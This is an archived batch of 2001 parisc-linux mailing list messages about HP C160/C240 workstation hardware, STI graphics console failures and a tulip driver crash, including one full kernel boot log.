List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13328

>>>>> "Grant" == Grant Grundler <grundler@puffin.external.hp.com> writes:

Grant> You mean the keying of the PCI slot?  I don't know if C160
Grant> supports 3.3v, 5.5v, or both. I'd need to dig up a product data
Grant> sheet to tell you which the C160 (not C160L) supported. But if
Grant> your card doesn't fit the keys in the slot, it's *not*
Grant> electrically compatible.

C160 has 3.3V only (i.e. it doesn't take most cheapo PC cards).

I ended up buying Symbios branded SCSI controllers for my C160s.  They
support both 3.3 and 5V operation.

And I have yet to see a PCI graphics board with universal/3.3V
connector.  Except for HP ones, that is.

-- 
Martin K. Petersen      Cereal Bowl Engineer, Linuxcare, Inc.
http://mkp.net/         SGI XFS, Linux/PA-RISC, GNOME



From - Thu Nov 08 21:20:45 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alan Cox <alan@lxorguk.ukuu.org.uk>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] C160 STI console woes
Date: Thu, 13 Dec 2001 01:33:05 +0000 (GMT)
Lines: 6
Approved: news@gmane.org
Message-ID: <E16EKkD-0003Dp-00@the-village.bc.nu>
References: <yq1k7vrdil2.fsf@austin.mkp.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416620840 31487 80.91.229.3 (22 Nov 2014 01:47:20 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:47:20 +0000 (UTC)
Cc: grundler@puffin.external.hp.com (Grant Grundler),
	jkinney@localnetsolutions.com (James P. Kinney III),
	parisc-linux@lists.parisc-linux.org (palinux)
To: mkp@mkp.net (Martin K. Petersen)
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Dec 12 18:24:48 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from the-village.bc.nu (lightning.swansea.linux.org.uk [194.168.151.1])
	by dsl2.external.hp.com (Postfix) with ESMTP id 55CF76029
	for <parisc-linux@lists.parisc-linux.org>; Wed, 12 Dec 2001 18:24:47 -0700 (MST)
Original-Received: from alan by the-village.bc.nu with local (Exim 3.22 #1)
	id 16EKkD-0003Dp-00; Thu, 13 Dec 2001 01:33:05 +0000
In-Reply-To: <yq1k7vrdil2.fsf@austin.mkp.net> from "Martin K. Petersen" at Dec 12, 2001 08:17:29 PM
X-Mailer: ELM [version 2.5 PL6]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.6
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13329

> And I have yet to see a PCI graphics board with universal/3.3V
> connector.  Except for HP ones, that is.

You want 5v for the fan 8(



From - Thu Nov 08 21:20:45 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Firmware upgraded, STI console problem
Date: Thu, 13 Dec 2001 05:20:24 +0000
Lines: 15
Approved: news@gmane.org
Message-ID: <20011213052024.D8225@parcelfarce.linux.theplanet.co.uk>
References: <200112122039.NAA11818@puffin.external.hp.com> <Pine.LNX.4.33.0112121147380.4162-100000@goliath.alaskatech.org> <20011212210242.E22198@parcelfarce.linux.theplanet.co.uk> <1008218517.2031.1.camel@crudball>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620840 31492 80.91.229.3 (22 Nov 2014 01:47:20 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:47:20 +0000 (UTC)
Cc: Matthew Wilcox <willy@debian.org>,
	palinux <parisc-linux@lists.parisc-linux.org>
To: Tom <palinux@alaskatech.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Dec 12 23:45:09 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 8EB97492D
	for <parisc-linux@lists.parisc-linux.org>; Wed, 12 Dec 2001 23:45:07 -0700 (MST)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.33 #5)
	id 16EOIC-0008TF-00; Thu, 13 Dec 2001 05:20:24 +0000
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <1008218517.2031.1.camel@crudball>; from palinux@alaskatech.org on Wed, Dec 12, 2001 at 07:41:57PM -0900
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.6
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13330

On Wed, Dec 12, 2001 at 07:41:57PM -0900, Tom wrote:
> By all means, feel free to post corrections, either here or direct to
> me, and I'll update it. Also, if someone can think of something else
> useful for it, just ask... (Perhaps the minimum kernel revision needed?)

E, F, G, H, I class aren't supported straight off the CD; they require
additional changes, AIUI.  Not to mention no support for their SCSI
adapters.  K mostly works... similar problems to E.  D & R should work
fine (problem with D class with remote management console).  735's FWDiff
scsi doesn't work.

-- 
Revolutions do not require corporate support.



From - Thu Nov 08 21:20:45 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Edward Alfert" <edward@alfert.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] What keywords should I use to find the answer?
Date: Wed, 12 Dec 2001 23:42:30 -0500
Organization: Alfert-Rivera Family
Lines: 35
Approved: news@gmane.org
Message-ID: <000001c18390$9354ebf0$0201a8c0@w2kpro>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416620841 31495 80.91.229.3 (22 Nov 2014 01:47:21 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:47:21 +0000 (UTC)
To: <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Dec 13 00:10:41 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from femail27.sdc1.sfba.home.com (femail27.sdc1.sfba.home.com [24.254.60.17])
	by dsl2.external.hp.com (Postfix) with ESMTP id 8E242482B
	for <parisc-linux@lists.parisc-linux.org>; Thu, 13 Dec 2001 00:10:40 -0700 (MST)
Original-Received: from w2kpro ([24.248.173.115]) by femail27.sdc1.sfba.home.com
          (InterMail vM.4.01.03.20 201-229-121-120-20010223) with ESMTP
          id <20011213044120.WUF4954.femail27.sdc1.sfba.home.com@w2kpro>
          for <parisc-linux@lists.parisc-linux.org>;
          Wed, 12 Dec 2001 20:41:20 -0800
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook, Build 10.0.2627
Importance: Normal
X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.6
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13331

#1) I successfully installed 0.9.3 on a C240!!!
#2) it works if I use the serial console.  Absolutely no problems... Was
able to use dselect after install to install graphical environment (x11,
gnome, and kde)
#3) I want to use a graphical console (my color monitor) that does
support the following resolutions 1280 x 1024 @ 72 , 1280 x 1024 @ 75,
and 1024 x 768 @ 72.
#4) if disconnect the serial connection, plug in the ps2 mouse and ps2
keyboard and the monitor to the graphics card (system detects Console
path: Graphics(4))
#5) the system gets as far as:
Branching to kernel entry point 0x00100000.  If this is the last
message you see, you may need to switch your console.  This is
a common symptom -- search the FAQ and mailing list at parisc-linux.org

A) the FAQ is short and I can't find any reference. I have read it
several time. either it's not there or I'm blind
B) I tried searching the lists on parisc-linux.org but the search
feature doesn't return any hits for "0x00100000" or "switch your
console"
C) I manually searched over 1 years' worth of archives but didn't find
an answer

?) Does 0.9.3 support the graphics card on a c240? Or only serial?
?) If only serial, how do you get a gui environment like gnome of kde to
interact with this version of linux?
?) am I just clueless?

Thanks for any and all feedback...
----------------------
http://www.sysadmin.info/
HP-UX SysAdmin Information




From - Thu Nov 08 21:20:45 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Sonny Cook <sonny@aspersion.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] tulip driver
Date: Thu, 13 Dec 2001 07:22:25 +0000 (UTC)
Lines: 33
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.33.0112130112510.18883-100000@zayda.com>
References: <200112130036.RAA12216@puffin.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416620841 31499 80.91.229.3 (22 Nov 2014 01:47:21 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:47:21 +0000 (UTC)
To: <parisc-linux@parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Dec 13 00:22:32 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from zayda.com (celery.zayda.com [208.186.180.200])
	by dsl2.external.hp.com (Postfix) with ESMTP id A90F0482B
	for <parisc-linux@parisc-linux.org>; Thu, 13 Dec 2001 00:22:31 -0700 (MST)
Original-Received: from localhost (sonny@localhost)
	by zayda.com (8.11.6/8.11.6) with ESMTP id fBD7MPO28743
	for <parisc-linux@parisc-linux.org>; Thu, 13 Dec 2001 07:22:25 GMT
X-X-Sender: <sonny@zayda.com>
In-Reply-To: <200112130036.RAA12216@puffin.external.hp.com>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.6
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13332

I'm still suspicious.  If I boot with init=/bin/sh, then it boots to the 
shell.  When I do an insmod on the tulip module, then the kernel crashes 
and spits out the (I think its the stack) debugging info.  At any rate, 
I'll give the latest kernel a try and see what happens.
Thanks,
Sonny

On Wed, 12 Dec 2001, Grant Grundler wrote:

> Sonny Cook wrote:
> > What is the state of the tulip driver currently?
> 
> Stable - I don't think tulip's your problem.
> 
> > The kernel I used is 2.4.16-pa16.  During 
> > the boot process, the kernel just locks up after reporting that it has 
> > freed some memory.
> 
> Helge enabled freeing bootmem and it was disabled again because of such
> lock-ups. At least until all extra __init's get removed.
> I think it's disabled since 2.4.16-pa18 or -pa19.
> So tulip is just a victim here and not a culprit.
> 
> > Any advice, or hint as to where to start looking would be appreciated.
> 
> Pull newer kernel source or disable the #if 1 that was enabled in -pa14.
> See parisc-linux-cvs archive for details.
> 
> grant
> 




From - Thu Nov 08 21:20:45 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] tulip driver
Date: Thu, 13 Dec 2001 07:47:26 +0000
Lines: 13
Approved: news@gmane.org
Message-ID: <20011213074726.F8225@parcelfarce.linux.theplanet.co.uk>
References: <200112130036.RAA12216@puffin.external.hp.com> <Pine.LNX.4.33.0112130112510.18883-100000@zayda.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620841 31503 80.91.229.3 (22 Nov 2014 01:47:21 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:47:21 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: Sonny Cook <sonny@aspersion.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Dec 13 00:47:33 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 059F8482B
	for <parisc-linux@parisc-linux.org>; Thu, 13 Dec 2001 00:47:33 -0700 (MST)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.33 #5)
	id 16EQaU-0001Zi-00; Thu, 13 Dec 2001 07:47:26 +0000
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <Pine.LNX.4.33.0112130112510.18883-100000@zayda.com>; from sonny@aspersion.org on Thu, Dec 13, 2001 at 07:22:25AM +0000
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.6
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13333

On Thu, Dec 13, 2001 at 07:22:25AM +0000, Sonny Cook wrote:
> I'm still suspicious.  If I boot with init=/bin/sh, then it boots to the 
> shell.  When I do an insmod on the tulip module, then the kernel crashes 
> and spits out the (I think its the stack) debugging info.  At any rate, 
> I'll give the latest kernel a try and see what happens.

tulip isn't the problem.  tulip is calling some routine which is the
problem.  we just don't know which one.

-- 
Revolutions do not require corporate support.



From - Thu Nov 08 21:20:45 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Edward Alfert" <edward@alfert.com>
Newsgroups: gmane.linux.ports.parisc
Subject: RE: [parisc-linux] What keywords should I use to find the answer?
Date: Thu, 13 Dec 2001 08:37:20 -0500
Organization: Alfert-Rivera Family
Lines: 248
Approved: news@gmane.org
Message-ID: <001101c183db$4be88290$0201a8c0@w2kpro>
References: <E16ERsF-0007tz-00@linuxlab.wdf.sap-ag.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416620842 31508 80.91.229.3 (22 Nov 2014 01:47:22 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:47:22 +0000 (UTC)
To: <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Dec 13 06:36:18 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from femail48.sdc1.sfba.home.com (femail48.sdc1.sfba.home.com [24.254.60.42])
	by dsl2.external.hp.com (Postfix) with ESMTP id F0E8E482B
	for <parisc-linux@lists.parisc-linux.org>; Thu, 13 Dec 2001 06:36:16 -0700 (MST)
Original-Received: from w2kpro ([24.248.173.115]) by femail48.sdc1.sfba.home.com
          (InterMail vM.4.01.03.20 201-229-121-120-20010223) with ESMTP
          id <20011213133609.OXTJ8989.femail48.sdc1.sfba.home.com@w2kpro>
          for <parisc-linux@lists.parisc-linux.org>;
          Thu, 13 Dec 2001 05:36:09 -0800
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook, Build 10.0.2627
In-Reply-To: <E16ERsF-0007tz-00@linuxlab.wdf.sap-ag.de>
Importance: Normal
X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.6
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13334

Thanks for the reply... Following is the entire dmsg... 
I notice it twice says "I'm not trying to set up your PCI graphics card
now... It would freeze your machine."

Linux version 2.4.9-32 (root@paer) (gcc version 3.0.2 (Debian)) #1 Fri
Nov 30 19
:36:30 MST 2001
FP[0] enabled: Rev 0 Model 14
The 32-bit Kernel has started...
Determining PDC firmware type: System Map.
model   00005990 00000481 00000000 00000002 77ab680d 100000f0 00000008
000000b2 
000000b2
vers    00000501
cpuid   000001d7
CPUID   vers 14 rev 23
model   9000/782/C240+
Total Memory: 512 Mb
pagetable_init
On node 0 totalpages: 131072
zone(0): 131072 pages.
zone(1): 0 pages.
zone(2): 0 pages.
LED display at f0190001 registered
Kernel command line: root=/dev/sda4 HOME=/ console=ttyS0 TERM=vt102
Console: colour dummy device 160x64
Calibrating delay loop... 470.22 BogoMIPS
Memory: 512860k available
Dentry-cache hash table entries: 65536 (order: 7, 524288 bytes)
Inode-cache hash table entries: 32768 (order: 6, 262144 bytes)
Mount-cache hash table entries: 8192 (order: 4, 65536 bytes)
Buffer-cache hash table entries: 32768 (order: 5, 131072 bytes)
Page-cache hash table entries: 131072 (order: 7, 524288 bytes)
Searching for devices...
Found devices:
1. U2-IOA BC Runway Port (12) at 0xfff88000 [8], versions 0x580, 0xf,
0xb
2. Dino PCI Bridge (13) at 0xf2000000 [8/0], versions 0x680, 0x3, 0xa
3. Raven U/L2 Dino RS-232 (10) at 0xf2003000 [8/0/63], versions 0x6,
0x0, 0x8c
4. Raven+ w SE FWSCSI Core BA (11) at 0xffd00000 [8/16], versions 0x56,
0x0, 0x8
1,  additional addresses: 0xffc00000 
5. Raven+ w SE FWSCSI Core Centronics (10) at 0xffd02000 [8/16/0],
versions 0x56
, 0x0, 0x74,  additional addresses: 0xffd03000 
6. Raven+ w SE FWSCSU Core Audio (10) at 0xffd04000 [8/16/1], versions
0x56, 0x4
, 0x7b
7. Raven+ w SE FWSCSI Core RS-232 (10) at 0xffd05000 [8/16/4], versions
0x56, 0x
0, 0x8c
8. Raven+ w SE FWSCSI Core SCSI (10) at 0xffd06000 [8/16/5], versions
0x56, 0x0,
 0x82
9. Raven+ w SE FWSCSI Core PS/2 Port (10) at 0xffd08000 [8/16/7],
versions 0x56,
 0x0, 0x84
10. Raven+ w SE FWSCSI Core PS/2 Port (10) at 0xffd08100 [8/16/8],
versions 0x56
, 0x0, 0x84
11. U2-IOA BC GSC+ Port (7) at 0xf203f000 [8/63], versions 0x501, 0x1,
0xc
12. U2-IOA BC Runway Port (12) at 0xfff8a000 [10], versions 0x580, 0xf,
0xb
13. Cujo PCI Bridge (13) at 0xf1000000 [10/0], versions 0x682, 0x1, 0xa,
additi
onal addresses: 0xf6000000 
14. U2-IOA BC GSC+ Port (7) at 0xf103f000 [10/63], versions 0x501, 0x1,
0xc
15. Raven U 240 (9000/780/C240) (0) at 0xfffa0000 [32], versions 0x599,
0x0, 0x4
16. Raven U 240 (1) at 0xfffb1000 [49], versions 0x6f, 0x0, 0x9
CPU(s): 1 x PA8200 (PCX-U+) at 236.000000 MHz
ccio found U2 at 0xfff88000
io_io_low: 0xf2000000
17. Dino PCI Bridge (13) at 0xf2000000 [8/0], versions 0x680, 0x3, 0xa
18. Raven U/L2 Dino RS-232 (10) at 0xf2003000 [8/0/63], versions 0x6,
0x0, 0x8c
19. Raven U/L2 Dino PS/2 Port (10) at 0xf2001000 [8/1], versions 0x6,
0x0, 0x96
20. Raven+ w SE FWSCSI Core BA (11) at 0xffd00000 [8/16], versions 0x56,
0x0, 0x
81,  additional addresses: 0xffc00000 
21. Raven+ w SE FWSCSI Core Centronics (10) at 0xffd02000 [8/16/0],
versions 0x5
6, 0x0, 0x74,  additional addresses: 0xffd03000 
22. Raven+ w SE FWSCSU Core Audio (10) at 0xffd04000 [8/16/1], versions
0x56, 0x
4, 0x7b
23. Raven+ w SE FWSCSI Core RS-232 (10) at 0xffd05000 [8/16/4], versions
0x56, 0
x0, 0x8c
24. Raven+ w SE FWSCSI Core SCSI (10) at 0xffd06000 [8/16/5], versions
0x56, 0x0
, 0x82
25. Raven+ w SE FWSCSI Core PS/2 Port (10) at 0xffd08000 [8/16/7],
versions 0x56
, 0x0, 0x84
26. Raven+ w SE FWSCSI Core PS/2 Port (10) at 0xffd08100 [8/16/8],
versions 0x56
, 0x0, 0x84
27. U2-IOA BC GSC+ Port (7) at 0xf203f000 [8/63], versions 0x501, 0x1,
0xc
ccio found U2 at 0xfff8a000
io_io_low: 0xf1000000
28. Cujo PCI Bridge (13) at 0xf1000000 [10/0], versions 0x682, 0x1, 0xa,
additi
onal addresses: 0xf6000000 
29. Dino RS-232 (10) at 0xf1003000 [10/3], versions 0x7, 0x0, 0x8c
30. U2-IOA BC GSC+ Port (7) at 0xf103f000 [10/63], versions 0x501, 0x1,
0xc
Lasi version 0 at 0xffd00000 found.
Dino version 3.1 found at 0xf2000000
Cujo version 2.0 found at 0xf1000000
Enabling Cujo 2.0 bug workaround
POSIX conformance testing by UNIFIX
Linux NET4.0 for Linux 2.4
Based upon Swansea University Computer Society NET3.039
Starting kswapd v1.8
parport_init_chip: initialize bidirectional-mode.
parport0: PC-style at 0xffd02800, irq 88 [PCSPP,TRISTATE]
STI PCI ROM enabled at 0xf1e00000
PCI graphic ROM found at f1e00000 (2048 kB), fb @ f6000000 (32 MB)
PCI region 0: f6000000 with 32768 kB
PCI region 1: 00000000 with 0 kB
PCI region 2: 00000000 with 0 kB
PCI region 3: 00000000 with 0 kB
PCI region 4: 00000000 with 0 kB
PCI region 5: 00000000 with 0 kB
PCI region 6: f1e00000 with 2048 kB
PCI region 7: 00000000 with 0 kB
PCI region 8: 00000000 with 0 kB
PCI region 9: 00000000 with 0 kB
PCI region 10: 00000000 with 0 kB
PCI region 11: 00000000 with 0 kB
Trying PCI STI ROM at f1e00000, PCI hpa at f6000000
I'm not trying to set up the PCI graphic card now... It would freeze
your machin
e
Unable to handle STI device 'PCI device 103c:1008 (Hewlett-Packard
Company)'
pty: 256 Unix98 ptys configured
Serial driver version 5.05c (2001-07-08) with MANY_PORTS SHARE_IRQ
SERIAL_PCI en
abled
ttyS00 at iomem 0xffd05800 (irq = 90) is a 16550A
ttyS01 at iomem 0xf2003800 (irq = 106) is a 16550A
ttyS02 at iomem 0xf1003800 (irq = 170) is a 16550A
Lasi PS/2 receive buffer timeout
PS/2 keyboard port at 0xffd08000 (irq 69) found, no device attached.
Lasi PS/2 transmit buffer timeout
PS/2 psaux port at 0xffd08100 (irq 69) found, no device attached.
lp0: using parport0 (interrupt-driven).
Generic RTC Driver v1.02 05/27/1999 Sam Creasey (sammy@oh.verio.com)
block: 128 slots per queue, batch=16
RAMDISK driver initialized: 16 RAM disks of 6144K size 1024 blocksize
loop: loaded (max 8 devices)
Linux Tulip driver version 0.9.15-pre6 (July 2, 2001)
tulip0: no phy info, aborting mtable build
tulip0:  MII transceiver #1 config 1000 status 782d advertising 01e1.
eth0: Digital DS21143 Tulip rev 48 at 0xff00, 00:60:B0:D0:4D:57, IRQ 96.
SCSI subsystem driver Revision: 1.00
sym53c8xx: at PCI bus 0, device 19, function 0
sym53c8xx: 53c875 detected 
sym53c875-0: rev 0x4 on pci bus 0 device 19 function 0 irq 99
sym53c875-0: ID 7, Fast-20, Parity Checking
scsi0 : sym53c8xx-1.7.3c-20010512
  Vendor: IBM       Model: DDRS-34560WS      Rev: HP01
  Type:   Direct-Access                      ANSI SCSI revision: 02
53c700: Version 2.6 By James.Bottomley@HansenPartnership.com
scsi1: 53c710 rev 2 
scsi1 : LASI SCSI 53c700
scsi1: (2:0) Synchronous at offset 8, period 100ns
  Vendor: TOSHIBA   Model: CD-ROM XM-6201TA  Rev: 1037
  Type:   CD-ROM                             ANSI SCSI revision: 02
Attached scsi disk sda at scsi0, channel 0, id 6, lun 0
sym53c875-0-<6,*>: FAST-20 WIDE SCSI 40.0 MB/s (50.0 ns, offset 15)
SCSI device sda: 8388314 512-byte hdwr sectors (4295 MB)
Partition check:
 sda: sda1 sda2 sda3 sda4
Attached scsi CD-ROM sr0 at scsi1, channel 0, id 2, lun 0
sr0: scsi-1 drive
Uniform CD-ROM driver Revision: 3.12
Lasi Harmony Audio rev. 31 at 0xffd04000, using IRQ 82
sticonsole_init: searching for STI ROMs
BUG: Skipping previously registered driver: sti (native)
STI PCI ROM enabled at 0xf1e00000
PCI graphic ROM found at f1e00000 (2048 kB), fb @ f6000000 (32 MB)
PCI region 0: f6000000 with 32768 kB
PCI region 1: 00000000 with 0 kB
PCI region 2: 00000000 with 0 kB
PCI region 3: 00000000 with 0 kB
PCI region 4: 00000000 with 0 kB
PCI region 5: 00000000 with 0 kB
PCI region 6: f1e00000 with 2048 kB
PCI region 7: 00000000 with 0 kB
PCI region 8: 00000000 with 0 kB
PCI region 9: 00000000 with 0 kB
PCI region 10: 00000000 with 0 kB
PCI region 11: 00000000 with 0 kB
Trying PCI STI ROM at f1e00000, PCI hpa at f6000000
I'm not trying to set up the PCI graphic card now... It would freeze
your machin
e
Unable to handle STI device 'PCI device 103c:1008 (Hewlett-Packard
Company)'
md: md driver 0.90.0 MAX_MD_DEVS=256, MD_SB_DISKS=27
md: Autodetecting RAID arrays.
md: autorun ...
md: ... autorun DONE.
NET4: Linux TCP/IP 1.0 for NET4.0
IP Protocols: ICMP, UDP, TCP
IP: routing cache hash table of 4096 buckets, 32Kbytes
TCP: Hash tables configured (established 32768 bind 65536)
NET4: Unix domain sockets 1.0/SMP for Linux NET4.0.
